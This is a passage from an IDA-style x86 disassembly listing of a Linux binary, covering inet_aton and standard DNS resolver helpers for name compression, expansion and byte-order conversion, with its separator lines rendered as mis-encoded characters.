cmp eax, 2 jz short loc_804CFBC jle short loc_804D008 cmp eax, 3 jz short loc_804CFCC cmp eax, 4 jz short loc_804CFE4 jmp short loc_804D008 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804CFBC: ; CODE XREF: inet_aton+F7j cmp esi, 0FFFFFFh ja short loc_804CFEC mov eax, [ebp+var_10] shl eax, 18h jmp short loc_804D006 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804CFCC: ; CODE XREF: inet_aton+FEj cmp esi, 0FFFFh ja short loc_804CFEC mov eax, [ebp+var_10] shl eax, 18h mov edx, [ebp+var_C] shl edx, 10h jmp short loc_804D004 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804CFE4: ; CODE XREF: inet_aton+103j cmp esi, 0FFh jbe short loc_804CFF0 loc_804CFEC: ; CODE XREF: inet_aton+B1j ; inet_aton+BDj ... xor eax, eax jmp short loc_804D021 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804CFF0: ; CODE XREF: inet_aton+136j mov eax, [ebp+var_10] shl eax, 18h mov edx, [ebp+var_C] shl edx, 10h or eax, edx mov edx, [ebp+var_8] shl edx, 8 loc_804D004: ; CODE XREF: inet_aton+12Cj or eax, edx loc_804D006: ; CODE XREF: inet_aton+116j or esi, eax loc_804D008: ; CODE XREF: inet_aton+F9j ; inet_aton+105j cmp [ebp+arg_4], 0 jz short loc_804D01C mov eax, esi xchg al, ah ror eax, 10h xchg al, ah mov ecx, [ebp+arg_4] mov [ecx], eax loc_804D01C: ; CODE XREF: inet_aton+158j mov eax, 1 loc_804D021: ; CODE XREF: inet_aton+13Aj lea esp, [ebp+var_28] pop ebx pop esi pop edi mov esp, ebp pop ebp retn inet_aton endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804D02C proc near ; CODE XREF: getanswer+9Ap ; getanswer+18Ap ... var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 0Ch push edi push esi push ebx mov [ebp+var_4], 0FFFFFFFFh mov [ebp+var_8], 0 mov ecx, [ebp+arg_C] mov edi, ecx add edi, [ebp+arg_10] mov [ebp+var_C], edi mov edi, [ebp+arg_8] movzx esi, byte ptr [edi] mov ebx, edi jmp loc_804D257 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804D05C: ; CODE XREF: sub_804D02C+22Ej mov eax, esi and eax, 0C0h jz short loc_804D078 cmp eax, 0C0h jz loc_804D210 jmp loc_804D24A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D078: ; CODE XREF: sub_804D02C+37j cmp [ebp+arg_C], ecx jz short loc_804D08A cmp [ebp+var_C], ecx jbe loc_804D24A mov byte ptr [ecx], 2Eh inc ecx loc_804D08A: ; CODE XREF: sub_804D02C+4Fj lea eax, [esi+ecx] cmp [ebp+var_C], eax jbe loc_804D24A mov edi, [ebp+var_8] lea edi, [esi+edi+1] mov [ebp+var_8], edi dec esi js loc_804D254 mov eax, esi not eax and eax, 3 cmp esi, 0FFFFFFFFh jle short loc_804D121 test eax, eax jz loc_804D155 cmp eax, 3 jge short loc_804D121 cmp eax, 2 jge short loc_804D0F3 movzx edx, byte ptr [ebx] inc ebx cmp edx, 2Eh jz short loc_804D0D3 cmp edx, 5Ch jnz short loc_804D0E4 loc_804D0D3: ; CODE XREF: sub_804D02C+A0j lea eax, [esi+ecx+2] cmp [ebp+var_C], eax jbe loc_804D24A mov byte ptr [ecx], 5Ch inc ecx loc_804D0E4: ; CODE XREF: sub_804D02C+A5j mov al, dl mov [ecx], al inc ecx cmp [ebp+arg_4], ebx jbe loc_804D24A dec esi loc_804D0F3: ; CODE XREF: sub_804D02C+97j movzx edx, byte ptr [ebx] inc ebx cmp edx, 2Eh jz short loc_804D101 cmp edx, 5Ch jnz short loc_804D112 loc_804D101: ; CODE XREF: sub_804D02C+CEj lea eax, [esi+ecx+2] cmp [ebp+var_C], eax jbe loc_804D24A mov byte ptr [ecx], 5Ch inc ecx loc_804D112: ; CODE XREF: sub_804D02C+D3j mov al, dl mov [ecx], al inc ecx cmp [ebp+arg_4], ebx jbe loc_804D24A dec esi loc_804D121: ; CODE XREF: sub_804D02C+85j ; sub_804D02C+92j movzx edx, byte ptr [ebx] inc ebx cmp edx, 2Eh jz short loc_804D12F cmp edx, 5Ch jnz short loc_804D140 loc_804D12F: ; CODE XREF: sub_804D02C+FCj lea eax, [esi+ecx+2] cmp [ebp+var_C], eax jbe loc_804D24A mov byte ptr [ecx], 5Ch inc ecx loc_804D140: ; CODE XREF: sub_804D02C+101j mov al, dl mov [ecx], al inc ecx cmp [ebp+arg_4], ebx jbe loc_804D24A dec esi js loc_804D254 loc_804D155: ; CODE XREF: sub_804D02C+89j db 8Dh,76h,0 ; lea esi, [esi+0] loc_804D158: ; CODE XREF: sub_804D02C+1DCj movzx edx, byte ptr [ebx] inc ebx cmp edx, 2Eh jz short loc_804D166 cmp edx, 5Ch jnz short loc_804D177 loc_804D166: ; CODE XREF: sub_804D02C+133j lea eax, [esi+ecx+2] cmp [ebp+var_C], eax jbe loc_804D24A mov byte ptr [ecx], 5Ch inc ecx loc_804D177: ; CODE XREF: sub_804D02C+138j mov al, dl mov [ecx], al inc ecx cmp [ebp+arg_4], ebx jbe loc_804D24A lea eax, [esi-1] movzx edx, byte ptr [ebx] inc ebx cmp edx, 2Eh jz short loc_804D196 cmp edx, 5Ch jnz short loc_804D1A7 loc_804D196: ; CODE XREF: sub_804D02C+163j lea eax, [eax+ecx+2] cmp [ebp+var_C], eax jbe loc_804D24A mov byte ptr [ecx], 5Ch inc ecx loc_804D1A7: ; CODE XREF: sub_804D02C+168j mov al, dl mov [ecx], al inc ecx cmp [ebp+arg_4], ebx jbe loc_804D24A lea eax, [esi-2] movzx edx, byte ptr [ebx] inc ebx cmp edx, 2Eh jz short loc_804D1C6 cmp edx, 5Ch jnz short loc_804D1D3 loc_804D1C6: ; CODE XREF: sub_804D02C+193j lea eax, [eax+ecx+2] cmp [ebp+var_C], eax jbe short loc_804D24A mov byte ptr [ecx], 5Ch inc ecx loc_804D1D3: ; CODE XREF: sub_804D02C+198j mov al, dl mov [ecx], al inc ecx cmp [ebp+arg_4], ebx jbe short loc_804D24A lea eax, [esi-3] movzx edx, byte ptr [ebx] inc ebx cmp edx, 2Eh jz short loc_804D1EE cmp edx, 5Ch jnz short loc_804D1FB loc_804D1EE: ; CODE XREF: sub_804D02C+1BBj lea eax, [eax+ecx+2] cmp [ebp+var_C], eax jbe short loc_804D24A mov byte ptr [ecx], 5Ch inc ecx loc_804D1FB: ; CODE XREF: sub_804D02C+1C0j mov al, dl mov [ecx], al inc ecx cmp [ebp+arg_4], ebx jbe short loc_804D24A add esi, 0FFFFFFFCh jns loc_804D158 jmp short loc_804D254 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D210: ; CODE XREF: sub_804D02C+3Ej cmp [ebp+var_4], 0 jge short loc_804D21F mov edi, ebx sub edi, [ebp+arg_8] inc edi mov [ebp+var_4], edi loc_804D21F: ; CODE XREF: sub_804D02C+1E8j mov eax, esi and eax, 3Fh shl eax, 8 movzx edx, byte ptr [ebx] or eax, edx mov ebx, [ebp+arg_0] add ebx, eax cmp [ebp+arg_0], ebx ja short loc_804D24A cmp [ebp+arg_4], ebx jbe short loc_804D24A add [ebp+var_8], 2 mov eax, [ebp+arg_4] sub eax, [ebp+arg_0] cmp [ebp+var_8], eax jl short loc_804D254 loc_804D24A: ; CODE XREF: sub_804D02C+44j ; sub_804D02C+54j ... mov eax, 0FFFFFFFFh jmp short loc_804D296 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D254: ; CODE XREF: sub_804D02C+75j ; sub_804D02C+123j ... movzx esi, byte ptr [ebx] loc_804D257: ; CODE XREF: sub_804D02C+2Aj inc ebx test esi, esi jnz loc_804D05C mov byte ptr [ecx], 0 mov ecx, [ebp+arg_C] movzx edx, byte ptr [ecx] test edx, edx jz short loc_804D287 mov eax, dword_8078FA0 lea esi, [esi] loc_804D274: ; CODE XREF: sub_804D02C+259j test dl, dl jl short loc_804D27F test byte ptr [eax+edx*2+1], 20h jnz short loc_804D24A loc_804D27F: ; CODE XREF: sub_804D02C+24Aj inc ecx movzx edx, byte ptr [ecx] test edx, edx jnz short loc_804D274 loc_804D287: ; CODE XREF: sub_804D02C+23Fj cmp [ebp+var_4], 0 jge short loc_804D293 sub ebx, [ebp+arg_8] mov [ebp+var_4], ebx loc_804D293: ; CODE XREF: sub_804D02C+25Fj mov eax, [ebp+var_4] loc_804D296: ; CODE XREF: sub_804D02C+223j lea esp, [ebp+var_18] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804D02C endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804D2A0 proc near ; CODE XREF: sub_80608C8+F9p ; sub_80608C8+15Ap var_20 = byte ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h push edi push esi push ebx mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] mov edx, edi add edx, [ebp+arg_8] mov [ebp+var_C], edx mov [ebp+var_4], 0 mov [ebp+var_8], 0 cmp [ebp+arg_C], 0 jz short loc_804D304 mov edx, [ebp+arg_C] mov edx, [edx] mov [ebp+var_10], edx add [ebp+arg_C], 4 test edx, edx jz short loc_804D30B mov edx, [ebp+arg_C] mov [ebp+var_4], edx cmp dword ptr [edx], 0 jz short loc_804D2F4 lea esi, [esi] loc_804D2E8: ; CODE XREF: sub_804D2A0+52j add [ebp+var_4], 4 mov edx, [ebp+var_4] cmp dword ptr [edx], 0 jnz short loc_804D2E8 loc_804D2F4: ; CODE XREF: sub_804D2A0+44j mov edx, [ebp+var_4] mov [ebp+var_8], edx jmp short loc_804D30B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D2FC: ; CODE XREF: sub_804D2A0+11Aj dec edi jmp loc_804D3D5 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D304: ; CODE XREF: sub_804D2A0+29j mov [ebp+var_10], 0 loc_804D30B: ; CODE XREF: sub_804D2A0+39j ; sub_804D2A0+5Aj movzx ebx, byte ptr [esi] inc esi test ebx, ebx jz loc_804D3D5 nop loc_804D318: ; CODE XREF: sub_804D2A0+12Fj cmp [ebp+var_10], 0 jz short loc_804D382 mov edx, [ebp+var_8] push edx mov edx, [ebp+arg_C] push edx mov edx, [ebp+var_10] push edx lea eax, [esi-1] push eax call sub_804D484 mov ecx, eax add esp, 10h test ecx, ecx jl short loc_804D360 lea ebx, [edi+1] cmp [ebp+var_C], ebx jbe loc_804D3E9 sar eax, 8 or al, 0C0h mov [edi], al mov edi, ebx mov edx, edi inc edi mov al, cl mov [edx], al jmp loc_804D3F4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D360: ; CODE XREF: sub_804D2A0+9Aj cmp [ebp+arg_10], 0 jz short loc_804D382 mov eax, [ebp+arg_10] add eax, 0FFFFFFFCh cmp [ebp+var_4], eax jnb short loc_804D382 mov edx, [ebp+var_4] mov [edx], edi add edx, 4 mov [ebp+var_4], edx mov dword ptr [edx], 0 loc_804D382: ; CODE XREF: sub_804D2A0+7Cj ; sub_804D2A0+C4j ... mov [ebp+var_14], edi inc edi jmp short loc_804D3A7 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D388: ; CODE XREF: sub_804D2A0+10Aj cmp ebx, 5Ch jnz short loc_804D395 movzx ebx, byte ptr [esi] inc esi test ebx, ebx jz short loc_804D3B0 loc_804D395: ; CODE XREF: sub_804D2A0+EBj cmp [ebp+var_C], edi jbe short loc_804D3DA mov al, bl mov [edi], al inc edi movzx ebx, byte ptr [esi] inc esi test ebx, ebx jz short loc_804D3B0 loc_804D3A7: ; CODE XREF: sub_804D2A0+E6j cmp ebx, 2Eh jnz short loc_804D388 movzx ebx, byte ptr [esi] inc esi loc_804D3B0: ; CODE XREF: sub_804D2A0+F3j ; sub_804D2A0+105j mov ecx, edi sub ecx, [ebp+var_14] dec ecx jnz short loc_804D3C0 test ebx, ebx jz loc_804D2FC loc_804D3C0: ; CODE XREF: sub_804D2A0+116j lea eax, [ecx-1] cmp eax, 3Eh ja short loc_804D3DA mov edx, [ebp+var_14] mov [edx], cl test ebx, ebx jnz loc_804D318 loc_804D3D5: ; CODE XREF: sub_804D2A0+5Dj ; sub_804D2A0+71j cmp [ebp+var_C], edi ja short loc_804D3F0 loc_804D3DA: ; CODE XREF: sub_804D2A0+F8j ; sub_804D2A0+126j cmp [ebp+var_10], 0 jz short loc_804D3E9 mov edx, [ebp+var_8] mov dword ptr [edx], 0 loc_804D3E9: ; CODE XREF: sub_804D2A0+A2j ; sub_804D2A0+13Ej mov eax, 0FFFFFFFFh jmp short loc_804D3F9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D3F0: ; CODE XREF: sub_804D2A0+138j mov byte ptr [edi], 0 inc edi loc_804D3F4: ; CODE XREF: sub_804D2A0+B8j mov eax, edi sub eax, [ebp+arg_4] loc_804D3F9: ; CODE XREF: sub_804D2A0+14Ej lea esp, [ebp+var_20] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804D2A0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804D404 proc near ; CODE XREF: sub_805EFB0+88p ; sub_805EFB0+E0p ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov eax, esi cmp esi, ebx jnb short loc_804D440 db 8Dh,76h,0 ; lea esi, [esi+0] loc_804D418: ; CODE XREF: sub_804D404+3Aj movzx edx, byte ptr [eax] inc eax test edx, edx jz short loc_804D440 mov ecx, edx and ecx, 0C0h jz short loc_804D434 cmp ecx, 0C0h jz short loc_804D438 jmp short loc_804D448 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D434: ; CODE XREF: sub_804D404+24j add eax, edx jmp short loc_804D43C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D438: ; CODE XREF: sub_804D404+2Cj inc eax jmp short loc_804D440 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804D43C: ; CODE XREF: sub_804D404+32j cmp eax, ebx jb short loc_804D418 loc_804D440: ; CODE XREF: sub_804D404+Fj ; sub_804D404+1Aj ... cmp eax, ebx ja short loc_804D448 sub eax, esi jmp short loc_804D44D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D448: ; CODE XREF: sub_804D404+2Ej ; sub_804D404+3Ej mov eax, 0FFFFFFFFh loc_804D44D: ; CODE XREF: sub_804D404+42j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_804D404 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804D458 proc near ; CODE XREF: sub_804D484+81p ; sub_804D484+8Ep ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] test dl, dl jl short loc_804D47C mov eax, dword_8078FA0 test byte ptr [eax+edx*2+1], 1 jz short loc_804D47C mov eax, dword_8078FA4 mov eax, [eax+edx*4] mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D47C: ; CODE XREF: sub_804D458+8j ; sub_804D458+14j mov eax, edx mov esp, ebp pop ebp retn sub_804D458 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804D484 proc near ; CODE XREF: sub_804D2A0+8Ep var_30 = byte ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 24h push edi push esi push ebx mov ecx, [ebp+arg_8] mov [ebp+var_4], ecx jmp loc_804D69C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D498: ; CODE XREF: sub_804D484+21Ej mov ebx, [ebp+arg_0] mov ecx, [ebp+var_4] mov ecx, [ecx] mov [ebp+var_8], ecx movzx esi, byte ptr [ecx] mov edi, ecx jmp loc_804D681 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D4B0: ; CODE XREF: sub_804D484+200j mov eax, esi and eax, 0C0h jz short loc_804D4CC cmp eax, 0C0h jz loc_804D66C jmp loc_804D6A8 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D4CC: ; CODE XREF: sub_804D484+33j dec esi js loc_804D656 mov eax, esi not eax and eax, 3 cmp esi, 0FFFFFFFFh jle short loc_804D557 test eax, eax jz loc_804D590 cmp eax, 3 jge short loc_804D557 cmp eax, 2 jge short loc_804D524 cmp byte ptr [ebx], 2Eh jz loc_804D698 cmp byte ptr [ebx], 5Ch jnz short loc_804D500 inc ebx loc_804D500: ; CODE XREF: sub_804D484+79j movzx eax, byte ptr [ebx] push eax inc ebx call sub_804D458 mov [ebp+var_C], eax movzx eax, byte ptr [edi] push eax inc edi call sub_804D458 add esp, 8 cmp [ebp+var_C], eax jnz loc_804D698 dec esi loc_804D524: ; CODE XREF: sub_804D484+6Bj cmp byte ptr [ebx], 2Eh jz loc_804D698 cmp byte ptr [ebx], 5Ch jnz short loc_804D533 inc ebx loc_804D533: ; CODE XREF: sub_804D484+ACj movzx eax, byte ptr [ebx] push eax inc ebx call sub_804D458 mov [ebp+var_10], eax movzx eax, byte ptr [edi] push eax inc edi call sub_804D458 add esp, 8 cmp [ebp+var_10], eax jnz loc_804D698 dec esi loc_804D557: ; CODE XREF: sub_804D484+59j ; sub_804D484+66j cmp byte ptr [ebx], 2Eh jz loc_804D698 cmp byte ptr [ebx], 5Ch jnz short loc_804D566 inc ebx loc_804D566: ; CODE XREF: sub_804D484+DFj movzx eax, byte ptr [ebx] push eax inc ebx call sub_804D458 mov [ebp+var_14], eax movzx eax, byte ptr [edi] push eax inc edi call sub_804D458 add esp, 8 cmp [ebp+var_14], eax jnz loc_804D698 dec esi js loc_804D656 loc_804D590: ; CODE XREF: sub_804D484+5Dj ; sub_804D484+1CCj cmp byte ptr [ebx], 2Eh jz loc_804D698 cmp byte ptr [ebx], 5Ch jnz short loc_804D59F inc ebx loc_804D59F: ; CODE XREF: sub_804D484+118j movzx eax, byte ptr [ebx] push eax inc ebx call sub_804D458 mov [ebp+var_18], eax movzx eax, byte ptr [edi] push eax inc edi call sub_804D458 add esp, 8 cmp [ebp+var_18], eax jnz loc_804D698 dec esi cmp byte ptr [ebx], 2Eh jz loc_804D698 cmp byte ptr [ebx], 5Ch jnz short loc_804D5D2 inc ebx loc_804D5D2: ; CODE XREF: sub_804D484+14Bj movzx eax, byte ptr [ebx] push eax inc ebx call sub_804D458 mov [ebp+var_1C], eax movzx eax, byte ptr [edi] push eax inc edi call sub_804D458 add esp, 8 cmp [ebp+var_1C], eax jnz loc_804D698 dec esi cmp byte ptr [ebx], 2Eh jz loc_804D698 cmp byte ptr [ebx], 5Ch jnz short loc_804D605 inc ebx loc_804D605: ; CODE XREF: sub_804D484+17Ej movzx eax, byte ptr [ebx] push eax inc ebx call sub_804D458 mov [ebp+var_20], eax movzx eax, byte ptr [edi] push eax inc edi call sub_804D458 add esp, 8 cmp [ebp+var_20], eax jnz short loc_804D698 dec esi cmp byte ptr [ebx], 2Eh jz short loc_804D698 cmp byte ptr [ebx], 5Ch jnz short loc_804D630 inc ebx loc_804D630: ; CODE XREF: sub_804D484+1A9j movzx eax, byte ptr [ebx] push eax inc ebx call sub_804D458 mov [ebp+var_24], eax movzx eax, byte ptr [edi] push eax inc edi call sub_804D458 add esp, 8 cmp [ebp+var_24], eax jnz short loc_804D698 dec esi jns loc_804D590 loc_804D656: ; CODE XREF: sub_804D484+49j ; sub_804D484+106j movzx esi, byte ptr [ebx] inc ebx test esi, esi jnz short loc_804D663 cmp byte ptr [edi], 0 jz short loc_804D68F loc_804D663: ; CODE XREF: sub_804D484+1D8j cmp esi, 2Eh jz short loc_804D67E jmp short loc_804D698 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_804D66C: ; CODE XREF: sub_804D484+3Aj mov eax, esi and eax, 3Fh shl eax, 8 movzx edx, byte ptr [edi] or eax, edx mov edi, [ebp+arg_4] add edi, eax loc_804D67E: ; CODE XREF: sub_804D484+1E2j movzx esi, byte ptr [edi] loc_804D681: ; CODE XREF: sub_804D484+24j inc edi test esi, esi jnz loc_804D4B0 cmp byte ptr [ebx], 0 jnz short loc_804D698 loc_804D68F: ; CODE XREF: sub_804D484+1DDj mov eax, [ebp+var_8] sub eax, [ebp+arg_4] jmp short loc_804D6AD ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_804D698: ; CODE XREF: sub_804D484+70j ; sub_804D484+99j ... add [ebp+var_4], 4 loc_804D69C: ; CODE XREF: sub_804D484+Fj mov ecx, [ebp+arg_C] cmp [ebp+var_4], ecx jb loc_804D498 loc_804D6A8: ; CODE XREF: sub_804D484+40j mov eax, 0FFFFFFFFh loc_804D6AD: ; CODE XREF: sub_804D484+211j lea esp, [ebp+var_30] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_804D484 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804D6B8 proc near ; CODE XREF: getanswer+19Fp ; getanswer+1ADp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov dl, [eax] shl dx, 8 movzx ax, byte ptr [eax+1] or dx, ax movzx eax, dx mov esp, ebp pop ebp retn sub_804D6B8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804D6D4 proc near ; CODE XREF: sub_805F7E4+66p ; sub_805F7E4+41Dp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov edx, [ebp+arg_0] mov cl, [edx] shl ecx, 18h movzx eax, byte ptr [edx+1] shl eax, 10h or ecx, eax movzx eax, byte ptr [edx+2] shl eax, 8 or ecx, eax movzx eax, byte ptr [edx+3] or ecx, eax mov eax, ecx mov esp, ebp pop ebp retn sub_804D6D4 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804D700 proc near ; CODE XREF: sub_804EA0C+283p ; sub_80608C8+113p ... arg_0 = word ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_4] mov dx, [ebp+arg_0] mov eax, edx shr ax, 8 mov [ecx], al mov [ecx+1], dl mov esp, ebp pop ebp retn sub_804D700 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_804D71C proc near ; CODE XREF: sub_80608C8+188p ; sub_80608C8+1D9p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] mov eax, ecx shr eax, 18h mov [edx], al mov eax, ecx shr eax, 10h mov [edx+1], al mov eax, ecx shr eax, 8 mov [edx+2], al mov [edx+3], 